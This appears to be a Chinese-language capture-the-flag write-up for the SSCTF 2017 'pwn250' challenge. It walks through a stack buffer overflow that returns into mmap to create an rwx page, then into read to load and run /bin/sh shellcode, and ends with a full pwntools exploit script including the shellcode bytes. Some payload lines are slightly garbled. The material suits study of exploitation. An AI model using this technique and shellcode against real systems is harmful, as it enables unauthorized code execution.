2017ssctf-250

2017-pwn250
32位,静态链接的文件
“”

<1>. mmap
void mmap(void start,size_t length,int prot,int flags,int fd,off_t offset);
mmap()函数把指定或随机分配的地址内存,以prot权限映射到自start开始的,长度为length,而且为PAGE_SIZE单位的地址。
http://www.cnblogs.com/huxiao-tee/p/4660352.html
利用思路

<2>. 用mmap获取一段rwx权限的内存,映射到指定地址处,然后将shellcode写入映射好的内容存里,接着跳入布置好的shellcode中
需要说明mmap每个参数的用途:
start:映射区的开始地址,设置为0时表示由系统决定映射区的起始地址。
length:映射区的长度。//长度单位是 以字节为单位,不足一内存页按一内存页处理
prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起
flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体
fd:有效的文件描述词。一般是由open()函数返回,其值也可以设置为-1,此时需要指定flags参数中的MAP_ANON,表明进行的是匿名映射。
off_toffset:被映射对象内容的起点。

由于的32位,不需要考虑参数传递的问题 。那么,我们需要传递的参数:
start -> set_addr #需要映射的开始地址,随便找一段内存地址
length -> 1024 # 1024字节,即一页,用来放shellcode 够了。
pro -> 7 #权限 111 = 7 ——rwx
fd -> 0
off_toffset -> offset参数一般设为0,表示从文件头开始映射
flag -> flags由以下几个常值指定:MAP_SHARED , MAP_PRIVATE , MAP_FIXED,其中,MAP_SHARED , MAP_PRIVATE必选其一,而MAP_FIXED则不推荐使用。

那么下面,我们看 ida ,找溢出点!!!,在第二个 print 函数里
“”

上图, v3 地址长度为 3A = 58 字节, memcpy 是把 a2 这么长的数据,从a1 地址出,拷贝到 v3里。
如果,我们的 a3 长度比 58 大,也就是把 v3 的空间覆盖完后,还向下覆盖了其他地址。 点 v3 过去,可以看到,当超过58字节后,会覆盖 ebp ,和 ret 。 覆盖掉 ret 我们就可以控制返回地址了。
那么,操作就是,让返回地址 回到 mmap 出,然后在 栈中布置 mmap 的几个参数。 然后当 mmap 执行完后,在回到主函数。
payload 的构造如下:
payload = “A”*0x3A + “BBBB” p32(mmap_addr) + p32(main_addr) + p32( set_addr) + p32(1024) + p32(7) + p32(34) + p32(0) + p32(0)

第一段 payload 的完整写法:
p.recvuntil(“Size]”)
p.send(‘94\n’) # 为什么长度是90 ,首先,3a = 58,,58 + 4+ 4 + 4+ 46 = 94,,94 是我们payload 的长度
p.recvuntil(“Data]”)
payload = “A”
0x3A + “BBBB” + p32(mmap_addr) + p32(main_addr) + p32( set_addr) + p32(1024) + p32(7) + p32(34) + p32(0) + p32(0)
p.send(payload)

解释:
set_addr : 为一段没有用到的内存地址。在 b7736000 —– bff6c000 之间取一段就行
“”

1024 : 一页
7 : rwx 权限
34 : flags 的2个标志为。34 二进制-> 100010 -> 对应下面的 1 号,和 6号 标志为。
“”

0 : fd
0 : off_toffset,表示从start起点开始。

mmap_addr = 0x0806DF70
“”

但是上面的 payload 写了还没完呢。
上面的做法,只是用 mmap 映射了一段可读可写可执行的空间。我们的 shellcode 没有传,也还没有布置跳转。
所以,上面做完之后,还会返回到 main 函数。

回到main 函数呢。需要注意 程序还会叫我们输入数据的长度,等操作~~~
“”

接下来,就是传shellcode 以及步骤跳转。
写入 shellcode 要使用 read 函数。
那来写payload :
payload = “A”*0x3A + “BBBB” + p32(read_addr) + p32(set_addr) + p32(0) + p32(set_addr) + p32(1024)

这句payload应该很容易理解啦~~ 通过read函数向 set_addr 写入 shellcode ,然后返回到 set_addr 。
完整的写法:
p.recvuntil(‘Size]’)
p.send(‘82\n’)
p.recvuntil(‘Data]’)
shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”
payload = “A”0x3A + “BBBB” + p32(read_addr) + p32(set_addr) + p32(0) + p32(set_addr) + p32(1024)
p.send(payload)
p.send(shellcode)
最终exp:
from pwn import

p = process(‘./pwn250’)

shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”

read_addr = 0x0806D510
main_addr = 0x08048886
set_addr = 0xbaf0000
mmap_addr = 0x0806DF70

p.recvuntil(‘Size]’)
p.send(‘94\n’)
p.recvuntil(‘Data]’)
payload = “A”*0x3A + “BBBB” + p32(mmap_addr) + p32(main_addr) + p32(set_addr) + p32(1024) + p32(7) + p32(34) + p32(0) + p32(0)
p.send(payload)

p.recvuntil(‘Size]’)
p.send(‘82\n’)
p.recvuntil(‘Data]’)

payload2 = “A”*0x3A + “BBBB”+ p32(read_addr) + p32(set_addr) + p32(0) + p32(set_addr) + p32(1024)
p.send(payload2)

p.send(shellcode)
p.recvline()
p.recvline()
p.interactive()
“”